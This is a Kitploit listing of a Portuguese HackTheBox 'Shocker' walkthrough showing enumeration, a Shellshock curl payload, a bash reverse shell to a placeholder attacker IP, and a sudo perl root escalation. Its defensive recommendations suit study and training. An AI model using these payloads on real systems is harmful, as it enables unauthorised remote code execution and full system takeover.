Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Shocker-TJNULL-OSCP- — Walkthrough estruturado do HTB demonstrando a exploração do Shellshock (CVE-2014-6271) por meio de fuzzing de diretórios CGI e escalonamento de privilégios através de permissões sudo Perl mal configuradas usando o GTFOBins. | Kitploit
Ferramentas/GitHubGitHub/r3fr4kt/shocker-tjnull-oscp-
Escalada de PrivilégiosReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubr3fr4kt/shocker-tjnull-oscp-

Shocker-TJNULL-OSCP-

Walkthrough estruturado do HTB demonstrando a exploração do Shellshock (CVE-2014-6271) por meio de fuzzing de diretórios CGI e escalonamento de privilégios através de permissões sudo Perl mal configuradas usando o GTFOBins.

Ver Repositório
há 2 mesesAinda não revisado

HackTheBox: Writeup do Shocker

Uma walkthrough estruturada e profissional que demonstra a identificação e exploração manual da vulnerabilidade crítica Shellshock, seguida de escalação local de privilégios através de permissões sudo mal configuradas num alvo Linux.


Visão Geral Técnica

  • SO Alvo: Linux
  • Endereço IP: 10.10.10.56
  • Dificuldade: Fácil
  • Vulnerabilidades Principais: Shellshock (CVE-2014-6271) e Privilégios Sudo Mal Configurados (/usr/bin/perl)
  • Objetivo: Obter acesso inicial de utilizador através de injeção de variáveis de ambiente CGI e escalar para root.

1. Enumeração & Reconhecimento

A avaliação começa com uma varredura rápida de porta completa TCP SYN, visando apenas portas abertas (--open), ignorando a descoberta de hosts (-Pn) e a resolução de DNS (-n) para acelerar o mapeamento.

root@kitploit:~
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56

Perfilagem Direcionada de Serviços & Vulnerabilidades

A varredura inicial revela dois serviços ativos. Conduzimos uma segunda varredura direcionada para executar deteção agressiva de versões (-sCV) e avaliação de vulnerabilidades baseada em scripts:

root@kitploit:~
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56

Resultados da Varredura

  • Porta 80: HTTP (Apache Web Server)
  • Porta 2222: SSH (Porta não padrão)

2. Fuzzing de Diretórios & Enumeração Web

Em paralelo com as nossas varreduras de vulnerabilidades, iniciamos um brute-force de diretórios web usando o gobuster para mapear recursos ocultos no servidor Apache. Utilizamos uma wordlist padrão do framework SecLists:

root@kitploit:~
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20

Descoberta Crucial

O processo de fuzzing identifica um diretório /cgi-bin/ não indexado. Em implementações web legadas, os servidores Apache utilizam a Interface de Gateway Comum (CGI) para executar scripts no lado do servidor. Dado o nome da máquina e a presença desta pasta, procuramos agressivamente por scripts executáveis (ex.: .sh, .cgi) que possam ser suscetíveis a falhas de injeção de variáveis de ambiente.

Uma enumeração adicional revela um script chamado user.sh localizado dentro do diretório /cgi-bin/.


3. Weaponização & Acesso Inicial

Testando o Shellshock (PoC)

A vulnerabilidade Shellshock (CVE-2014-6271) permite que atacantes executem comandos arbitrários no sistema operativo ao injetar definições maliciosas de funções em cabeçalhos de pedidos HTTP (como User-Agent) processados por instâncias vulneráveis de Bash.

Criamos um comando curl personalizado para enviar um payload de Prova de Conceito (PoC) projetado para forçar o sistema remoto a executar o comando /usr/bin/id:

root@kitploit:~
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

  • Resultado: O servidor web responde com a saída do comando id, validando execução remota de código (RCE) não autenticada.

Estabelecendo uma Reverse Shell

Para elevar o nosso vetor de execução a uma sessão interativa, estabelecemos um listener local com Netcat na nossa plataforma de ataque:

root@kitploit:~
nc -lvnp 4444

Em seguida, injetamos uma string nativa de reverse shell em Bash dentro do cabeçalho malicioso User-Agent para forçar um callback via TCP:

root@kitploit:~
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

Após a execução bem-sucedida, recebemos uma shell estável com privilégios baixos:

root@kitploit:~
$ whoami
shelly


4. Escalação Local de Privilégios (LPE)

Com um contexto de utilizador funcional no sistema, auditamos as nossas restrições locais. Consultamos a configuração do sudo para determinar se o utilizador shelly está autorizado a executar comandos com permissões elevadas sem fornecer password:

root@kitploit:~
sudo -l

Auditoria da Configuração Sudo

A saída revela a seguinte entrada de alto risco:

root@kitploit:~
User shelly may run the following commands on shocker:
    (root) NOPASSWD: /usr/bin/perl

Explorando o Perl via GTFOBins

Como temos acesso irrestrito e sem autenticação para executar o binário perl como root, podemos facilmente contornar as restrições do binário. Consultando o GTFOBins, encontramos um wrapper de execução que instrui o Perl a abrir uma shell nativa do sistema (/bin/sh), mantendo o contexto de identidade de execução (root):

root@kitploit:~
sudo -u root perl -e 'exec "/bin/sh"'

Alcançamos imediatamente um contexto completo de execução administrativa:

root@kitploit:~
# whoami
root


5. Pós-Exploração & Coleta de Dados

Agora que o acesso root foi estabelecido, navegamos até os diretórios home relevantes para recuperar as provas de comprometimento.

root@kitploit:~
# Acessar a Flag do Utilizador
cat /home/shelly/user.txt

# Acessar a Flag de Root
cat /root/root.txt


Principais Conclusões & Recomendações Defensivas

  1. Corrija Software Inerentemente Vulnerável: O Shellshock é uma vulnerabilidade legada e catastrófica no GNU Bash. Garanta que todos os componentes do servidor recebam atualizações de segurança proativas para utilitários fundamentais.
  2. Proteja o Ambiente CGI: Se os scripts CGI forem mantidos, garanta que eles sejam executados em modelos isolados e em sandbox (ex.: usando runtimes de contêiner especializados ou ambientes chroot) e evite usar shells padrão desatualizadas e vulneráveis.
  3. Aplique o Princípio do Menor Privilégio: Conceder a utilizadores padrão acesso irrestrito para executar interpretadores poderosos embutidos como perl, python ou bash via sudo introduz vetores de escalação imediatos. O acesso ao sudo deve ser limitado a scripts administrativos não interativos e altamente controlados.
root@kitploit:~
Baixar ferramenta